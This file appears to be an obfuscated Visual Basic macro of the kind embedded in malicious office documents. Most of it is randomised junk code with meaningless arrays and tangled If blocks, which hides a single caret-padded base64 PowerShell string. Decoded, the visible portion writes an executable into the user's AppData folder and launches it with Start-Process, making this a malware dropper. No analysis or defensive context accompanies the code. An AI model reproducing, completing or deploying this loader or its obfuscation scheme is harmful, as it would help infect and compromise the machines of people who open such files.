Dim qrotENubEWITesyniXirAZIGaweDYkaaIMoASO(4)
If "HelykuHbyVqiQuxgY" <> CStr("HelykuHbyVqiQuxgY7039") Then
   qrotENubEWITesyniXirAZIGaweDYkaaIMoASO(0) = VarType(VarType(VarType("HelykuHbyVqiQuxgY")))
End If
qrotENubEWITesyniXirAZIGaweDYkaaIMoASO(1) = CInt(CStr("#7039"))
VarType HelykuHbyVqiQuxgY
VarType qrotENubEWITesyniXirAZIGaweDYkaaIMoASO
If LenB(qrotENubEWITesyniXirAZIGaweDYkaaIMoASO(1)) > 11 Then
  qrotENubEWITesyniXirAZIGaweDYkaaIMoASO(2) = Weekday(70395)
End If
qrotENubEWITesyniXirAZIGaweDYkaaIMoASO(3) = VarType(qrotENubEWITesyniXirAZIGaweDYkaaIMoASO)
Dim LAkoJiHecejinIjkekcyJYhifyf(4)
If "cyDYNzutukOkUfADeTaCI" <> CStr("cyDYNzutukOkUfADeTaCI1158") Then
   LAkoJiHecejinIjkekcyJYhifyf(0) = VarType(VarType(VarType("cyDYNzutukOkUfADeTaCI")))
End If
LAkoJiHecejinIjkekcyJYhifyf(1) = CInt(CStr("#1158"))
VarType cyDYNzutukOkUfADeTaCI
VarType LAkoJiHecejinIjkekcyJYhifyf
If LenB(LAkoJiHecejinIjkekcyJYhifyf(1)) > 11 Then
  LAkoJiHecejinIjkekcyJYhifyf(2) = Weekday(11588)
End If
LAkoJiHecejinIjkekcyJYhifyf(3) = VarType(LAkoJiHecejinIjkekcyJYhifyf)
If LenB(nEkOnzoJODItUdiBacYzArAjEw(1)) > 13 Then
  nEkOnzoJODItUdiBacYzArAjEw(2) = Weekday(91422)
Dim aDiwIbEHaqYCAZFavylaNAMaTEbedyFYh(4)
If "aIHulixEDAzYto" <> CStr("aIHulixEDAzYto8666") Then
   aDiwIbEHaqYCAZFavylaNAMaTEbedyFYh(0) = VarType(VarType(VarType("aIHulixEDAzYto")))
End If
aDiwIbEHaqYCAZFavylaNAMaTEbedyFYh(1) = CInt(CStr("#8666"))
VarType aIHulixEDAzYto
VarType aDiwIbEHaqYCAZFavylaNAMaTEbedyFYh
If LenB(aDiwIbEHaqYCAZFavylaNAMaTEbedyFYh(1)) > 10 Then
  aDiwIbEHaqYCAZFavylaNAMaTEbedyFYh(2) = Weekday(86666)
End If
aDiwIbEHaqYCAZFavylaNAMaTEbedyFYh(3) = VarType(aDiwIbEHaqYCAZFavylaNAMaTEbedyFYh)
Dim lApUKUFAjotUFIOHaSoMUwEg(4)
If "qaDIiOtaVocUtOHoqZunA" <> CStr("qaDIiOtaVocUtOHoqZunA3679") Then
   lApUKUFAjotUFIOHaSoMUwEg(0) = VarType(VarType(VarType("qaDIiOtaVocUtOHoqZunA")))
End If
lApUKUFAjotUFIOHaSoMUwEg(1) = CInt(CStr("#3679"))
VarType qaDIiOtaVocUtOHoqZunA
VarType lApUKUFAjotUFIOHaSoMUwEg
If LenB(lApUKUFAjotUFIOHaSoMUwEg(1)) > 11 Then
  lApUKUFAjotUFIOHaSoMUwEg(2) = Weekday(36797)
End If
lApUKUFAjotUFIOHaSoMUwEg(3) = VarType(lApUKUFAjotUFIOHaSoMUwEg)
End If
nEkOnzoJODItUdiBacYzArAjEw(3) = VarType(nEkOnzoJODItUdiBacYzArAjEw)
Dim doaoxiwUNUtInJysymiJYfYiaySafos(4)
If "neVuFGOaOzKYFicEq" <> CStr("neVuFGOaOzKYFicEq1220") Then
   doaoxiwUNUtInJysymiJYfYiaySafos(0) = VarType(VarType(VarType("neVuFGOaOzKYFicEq")))
End If
doaoxiwUNUtInJysymiJYfYiaySafos(1) = CInt(CStr("#1220"))
VarType neVuFGOaOzKYFicEq
VarType doaoxiwUNUtInJysymiJYfYiaySafos
If LenB(doaoxiwUNUtInJysymiJYfYiaySafos(1)) > 13 Then
  doaoxiwUNUtInJysymiJYfYiaySafos(2) = Weekday(12202)
End If
doaoxiwUNUtInJysymiJYfYiaySafos(3) = VarType(doaoxiwUNUtInJysymiJYfYiaySafos)
Dim gaQUToBAdIQuaOMciWizraaPikESomUD(4)
If "RaTZuREQGEJicIleBEaA" <> CStr("RaTZuREQGEJicIleBEaA4890") Then
   gaQUToBAdIQuaOMciWizraaPikESomUD(0) = VarType(VarType(VarType("RaTZuREQGEJicIleBEaA")))
End If
gaQUToBAdIQuaOMciWizraaPikESomUD(1) = CInt(CStr("#4890"))
VarType RaTZuREQGEJicIleBEaA
VarType gaQUToBAdIQuaOMciWizraaPikESomUD
If LenB(gaQUToBAdIQuaOMciWizraaPikESomUD(1)) > 13 Then
  gaQUToBAdIQuaOMciWizraaPikESomUD(2) = Weekday(48906)
End If
gaQUToBAdIQuaOMciWizraaPikESomUD(3) = VarType(gaQUToBAdIQuaOMciWizraaPikESomUD)

Dim MEFunYCyiyfaBazuVUHENUgAVu(4)
If "TeWoqOMYloXeJu" <> CStr("TeWoqOMYloXeJu3674") Then
   MEFunYCyiyfaBazuVUHENUgAVu(0) = VarType(VarType(VarType("TeWoqOMYloXeJu")))
End If
MEFunYCyiyfaBazuVUHENUgAVu(1) = CInt(CStr("#3674"))
VarType TeWoqOMYloXeJu
VarType MEFunYCyiyfaBazuVUHENUgAVu
If LenB(MEFunYCyiyfaBazuVUHENUgAVu(1)) > 11 Then
  MEFunYCyiyfaBazuVUHENUgAVu(2) = Weekday(367410)
End If
MEFunYCyiyfaBazuVUHENUgAVu(3) = VarType(MEFunYCyiyfaBazuVUHENUgAVu)
Dim ZENUcibalAaPiLizunyHUREzGAhqaBYbEa(4)
If "jAgIkOwOaoXudEzUPIbA" <> CStr("jAgIkOwOaoXudEzUPIbA5580") Then
   ZENUcibalAaPiLizunyHUREzGAhqaBYbEa(0) = VarType(VarType(VarType("jAgIkOwOaoXudEzUPIbA")))
End If
ZENUcibalAaPiLizunyHUREzGAhqaBYbEa(1) = CInt(CStr("#5580"))
VarType jAgIkOwOaoXudEzUPIbA
VarType ZENUcibalAaPiLizunyHUREzGAhqaBYbEa
If LenB(ZENUcibalAaPiLizunyHUREzGAhqaBYbEa(1)) > 12 Then
  ZENUcibalAaPiLizunyHUREzGAhqaBYbEa(2) = Weekday(55805)
End If
ZENUcibalAaPiLizunyHUREzGAhqaBYbEa(3) = VarType(ZENUcibalAaPiLizunyHUREzGAhqaBYbEa)
Dim JinIXYZILAwNAfYnoZLOweLebUvE(4)
If "KaNOmUzAihor" <> CStr("KaNOmUzAihor3246") Then
Dim ziLaMYryOQkOlueKOjjiSOHeUauF(4)
If "piaawaSiNaj" <> CStr("piaawaSiNaj1230") Then
   ziLaMYryOQkOlueKOjjiSOHeUauF(0) = VarType(VarType(VarType("piaawaSiNaj")))
End If
ziLaMYryOQkOlueKOjjiSOHeUauF(1) = CInt(CStr("#1230"))
VarType piaawaSiNaj
VarType ziLaMYryOQkOlueKOjjiSOHeUauF
If LenB(ziLaMYryOQkOlueKOjjiSOHeUauF(1)) > 10 Then
  ziLaMYryOQkOlueKOjjiSOHeUauF(2) = Weekday(12306)
End If
ziLaMYryOQkOlueKOjjiSOHeUauF(3) = VarType(ziLaMYryOQkOlueKOjjiSOHeUauF)
   JinIXYZILAwNAfYnoZLOweLebUvE(0) = VarType(VarType(VarType("KaNOmUzAihor")))
End If
JinIXYZILAwNAfYnoZLOweLebUvE(1) = CInt(CStr("#3246"))
VarType KaNOmUzAihor
Dim PuRavEregEFIWIDIhEpYRimaSOWekIDYaeZEva(4)
If "pAKaVUHJGa" <> CStr("pAKaVUHJGa6795") Then
   PuRavEregEFIWIDIhEpYRimaSOWekIDYaeZEva(0) = VarType(VarType(VarType("pAKaVUHJGa")))
End If
PuRavEregEFIWIDIhEpYRimaSOWekIDYaeZEva(1) = CInt(CStr("#6795"))
VarType pAKaVUHJGa
VarType PuRavEregEFIWIDIhEpYRimaSOWekIDYaeZEva
If LenB(PuRavEregEFIWIDIhEpYRimaSOWekIDYaeZEva(1)) > 10 Then
  PuRavEregEFIWIDIhEpYRimaSOWekIDYaeZEva(2) = Weekday(67956)
End If
PuRavEregEFIWIDIhEpYRimaSOWekIDYaeZEva(3) = VarType(PuRavEregEFIWIDIhEpYRimaSOWekIDYaeZEva)
VarType JinIXYZILAwNAfYnoZLOweLebUvE
Dim aNAiAGELorACEHUxIhubeFTozoiYmUNAFAie(4)
If "inUmoVYhOziCgyweV" <> CStr("inUmoVYhOziCgyweV1829") Then
   aNAiAGELorACEHUxIhubeFTozoiYmUNAFAie(0) = VarType(VarType(VarType("inUmoVYhOziCgyweV")))
End If
aNAiAGELorACEHUxIhubeFTozoiYmUNAFAie(1) = CInt(CStr("#1829"))
VarType inUmoVYhOziCgyweV
VarType aNAiAGELorACEHUxIhubeFTozoiYmUNAFAie
If LenB(aNAiAGELorACEHUxIhubeFTozoiYmUNAFAie(1)) > 11 Then
  aNAiAGELorACEHUxIhubeFTozoiYmUNAFAie(2) = Weekday(18292)
End If
aNAiAGELorACEHUxIhubeFTozoiYmUNAFAie(3) = VarType(aNAiAGELorACEHUxIhubeFTozoiYmUNAFAie)
If LenB(JinIXYZILAwNAfYnoZLOweLebUvE(1)) > 10 Then
Dim qOFAJEcycepuWeXyDIXEiiKeD(4)
If "boJEcUTuCIiyMahAJeJEFube" <> CStr("boJEcUTuCIiyMahAJeJEFube2130") Then
   qOFAJEcycepuWeXyDIXEiiKeD(0) = VarType(VarType(VarType("boJEcUTuCIiyMahAJeJEFube")))
End If
qOFAJEcycepuWeXyDIXEiiKeD(1) = CInt(CStr("#2130"))
VarType boJEcUTuCIiyMahAJeJEFube
VarType qOFAJEcycepuWeXyDIXEiiKeD
If LenB(qOFAJEcycepuWeXyDIXEiiKeD(1)) > 11 Then
  qOFAJEcycepuWeXyDIXEiiKeD(2) = Weekday(21306)
End If
qOFAJEcycepuWeXyDIXEiiKeD(3) = VarType(qOFAJEcycepuWeXyDIXEiiKeD)
  JinIXYZILAwNAfYnoZLOweLebUvE(2) = Weekday(32462)
End If
JinIXYZILAwNAfYnoZLOweLebUvE(3) = VarType(JinIXYZILAwNAfYnoZLOweLebUvE)
Dim cuRIQEgoqoNECOrAjIcIjIzaiaZeQ(4)
If "VIwHYpozeKoT" <> CStr("VIwHYpozeKoT5236") Then
   cuRIQEgoqoNECOrAjIcIjIzaiaZeQ(0) = VarType(VarType(VarType("VIwHYpozeKoT")))
End If
cuRIQEgoqoNECOrAjIcIjIzaiaZeQ(1) = CInt(CStr("#5236"))
VarType VIwHYpozeKoT
VarType cuRIQEgoqoNECOrAjIcIjIzaiaZeQ
If LenB(cuRIQEgoqoNECOrAjIcIjIzaiaZeQ(1)) > 10 Then
  cuRIQEgoqoNECOrAjIcIjIzaiaZeQ(2) = Weekday(52367)
End If
cuRIQEgoqoNECOrAjIcIjIzaiaZeQ(3) = VarType(cuRIQEgoqoNECOrAjIcIjIzaiaZeQ)
jIbysazAasAjvEweQebbexaROSAWYl = "^c^A^O^Q^A^5^A^C^4^A^Z^Q^B^4^A^G^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^c^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^M^g^A^3^A^D^c^A^M^g^A^5^A^D^M^A^M^Q^A^5^A^D^I^A^N^g^A^x^A^D^U^A^N^w^A^5^A^D^k^A^L^g^B^l^A^H^g^A^Z^Q^A^u^A^G^U^A^e^A^B^l^A^C^c^A^O^w^B^F^A^H^g^A^a^Q^B^0^A"

Dim LobYwYZeCYlUsUzOHQihAtaNAsYV(4)
If "rokdAFuDEvEmeaadO" <> CStr("rokdAFuDEvEmeaadO7199") Then
   LobYwYZeCYlUsUzOHQihAtaNAsYV(0) = VarType(VarType(VarType("rokdAFuDEvEmeaadO")))
End If
LobYwYZeCYlUsUzOHQihAtaNAsYV(1) = CInt(CStr("#7199"))
VarType rokdAFuDEvEmeaadO
VarType LobYwYZeCYlUsUzOHQihAtaNAsYV
If LenB(LobYwYZeCYlUsUzOHQihAtaNAsYV(1)) > 12 Then
  LobYwYZeCYlUsUzOHQihAtaNAsYV(2) = Weekday(719910)
End If
LobYwYZeCYlUsUzOHQihAtaNAsYV(3) = VarType(LobYwYZeCYlUsUzOHQihAtaNAsYV)
Dim teFyjIrEfEFMuzUmExPedAcumuLiiIcOFyREWItyxE(4)
If "CyjeZUluvUROsebukihYaIu" <> CStr("CyjeZUluvUROsebukihYaIu9097") Then
   teFyjIrEfEFMuzUmExPedAcumuLiiIcOFyREWItyxE(0) = VarType(VarType(VarType("CyjeZUluvUROsebukihYaIu")))
End If
teFyjIrEfEFMuzUmExPedAcumuLiiIcOFyREWItyxE(1) = CInt(CStr("#9097"))
VarType CyjeZUluvUROsebukihYaIu
VarType teFyjIrEfEFMuzUmExPedAcumuLiiIcOFyREWItyxE
If LenB(teFyjIrEfEFMuzUmExPedAcumuLiiIcOFyREWItyxE(1)) > 12 Then
  teFyjIrEfEFMuzUmExPedAcumuLiiIcOFyREWItyxE(2) = Weekday(909710)
End If
teFyjIrEfEFMuzUmExPedAcumuLiiIcOFyREWItyxE(3) = VarType(teFyjIrEfEFMuzUmExPedAcumuLiiIcOFyREWItyxE)
Dim bOltIbeKiRTekIrAwOmLAiyfYgUvakySuhDofUByWU(4)
Dim vWIxdAFyGrYVuNytOnOpAWOZUcIkeMAn(4)
If "GAayZirOheWUDYFES" <> CStr("GAayZirOheWUDYFES3919") Then
   vWIxdAFyGrYVuNytOnOpAWOZUcIkeMAn(0) = VarType(VarType(VarType("GAayZirOheWUDYFES")))
End If
vWIxdAFyGrYVuNytOnOpAWOZUcIkeMAn(1) = CInt(CStr("#3919"))
VarType GAayZirOheWUDYFES
VarType vWIxdAFyGrYVuNytOnOpAWOZUcIkeMAn
If LenB(vWIxdAFyGrYVuNytOnOpAWOZUcIkeMAn(1)) > 11 Then
  vWIxdAFyGrYVuNytOnOpAWOZUcIkeMAn(2) = Weekday(39191)
End If
vWIxdAFyGrYVuNytOnOpAWOZUcIkeMAn(3) = VarType(vWIxdAFyGrYVuNytOnOpAWOZUcIkeMAn)
If "nujOZJeJumiquVoMoCU" <> CStr("nujOZJeJumiquVoMoCU1561") Then
Dim sykUruXiFifUlICuMunEvevYqAKdoFi(4)
If "nOlaGUSGYN" <> CStr("nOlaGUSGYN7243") Then
   sykUruXiFifUlICuMunEvevYqAKdoFi(0) = VarType(VarType(VarType("nOlaGUSGYN")))
End If
sykUruXiFifUlICuMunEvevYqAKdoFi(1) = CInt(CStr("#7243"))
VarType nOlaGUSGYN
VarType sykUruXiFifUlICuMunEvevYqAKdoFi
If LenB(sykUruXiFifUlICuMunEvevYqAKdoFi(1)) > 10 Then
  sykUruXiFifUlICuMunEvevYqAKdoFi(2) = Weekday(72431)
End If
sykUruXiFifUlICuMunEvevYqAKdoFi(3) = VarType(sykUruXiFifUlICuMunEvevYqAKdoFi)
Dim GiBIDoxEvSidUrDaHEbuKosIsaQuCaMeVu(4)
If "CyklYLuCeJElONUBUvE" <> CStr("CyklYLuCeJElONUBUvE4281") Then
   GiBIDoxEvSidUrDaHEbuKosIsaQuCaMeVu(0) = VarType(VarType(VarType("CyklYLuCeJElONUBUvE")))
End If
GiBIDoxEvSidUrDaHEbuKosIsaQuCaMeVu(1) = CInt(CStr("#4281"))
VarType CyklYLuCeJElONUBUvE
VarType GiBIDoxEvSidUrDaHEbuKosIsaQuCaMeVu
If LenB(GiBIDoxEvSidUrDaHEbuKosIsaQuCaMeVu(1)) > 10 Then
  GiBIDoxEvSidUrDaHEbuKosIsaQuCaMeVu(2) = Weekday(42816)
End If
GiBIDoxEvSidUrDaHEbuKosIsaQuCaMeVu(3) = VarType(GiBIDoxEvSidUrDaHEbuKosIsaQuCaMeVu)
   bOltIbeKiRTekIrAwOmLAiyfYgUvakySuhDofUByWU(0) = VarType(VarType(VarType("nujOZJeJumiquVoMoCU")))
Dim SibubEsIJYKYNUKIKEFoPyiULykiCAsElaQuKo(4)
If "FeKEhyqyRonyvEFlediP" <> CStr("FeKEhyqyRonyvEFlediP6657") Then
   SibubEsIJYKYNUKIKEFoPyiULykiCAsElaQuKo(0) = VarType(VarType(VarType("FeKEhyqyRonyvEFlediP")))
End If
SibubEsIJYKYNUKIKEFoPyiULykiCAsElaQuKo(1) = CInt(CStr("#6657"))
VarType FeKEhyqyRonyvEFlediP
VarType SibubEsIJYKYNUKIKEFoPyiULykiCAsElaQuKo
If LenB(SibubEsIJYKYNUKIKEFoPyiULykiCAsElaQuKo(1)) > 13 Then
  SibubEsIJYKYNUKIKEFoPyiULykiCAsElaQuKo(2) = Weekday(66575)
End If
SibubEsIJYKYNUKIKEFoPyiULykiCAsElaQuKo(3) = VarType(SibubEsIJYKYNUKIKEFoPyiULykiCAsElaQuKo)
Dim qUQozEWoZyxoaESijOiEPugIduXexylUzOGunUD(4)
If "cUrAbObiLUpYCYPD" <> CStr("cUrAbObiLUpYCYPD7087") Then
   qUQozEWoZyxoaESijOiEPugIduXexylUzOGunUD(0) = VarType(VarType(VarType("cUrAbObiLUpYCYPD")))
End If
qUQozEWoZyxoaESijOiEPugIduXexylUzOGunUD(1) = CInt(CStr("#7087"))
VarType cUrAbObiLUpYCYPD
VarType qUQozEWoZyxoaESijOiEPugIduXexylUzOGunUD
If LenB(qUQozEWoZyxoaESijOiEPugIduXexylUzOGunUD(1)) > 10 Then
  qUQozEWoZyxoaESijOiEPugIduXexylUzOGunUD(2) = Weekday(70875)
End If
…